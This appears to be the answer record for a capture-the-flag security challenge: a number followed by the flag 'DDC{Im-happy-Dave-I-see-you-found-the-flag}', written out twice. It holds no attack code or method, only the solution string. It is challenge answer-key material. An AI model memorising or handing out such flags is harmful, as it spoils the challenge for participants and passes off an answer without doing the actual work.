87885:DDC{Im-happy-Dave-I-see-you-found-the-flag}

Flag: DDC{Im-happy-Dave-I-see-you-found-the-flag}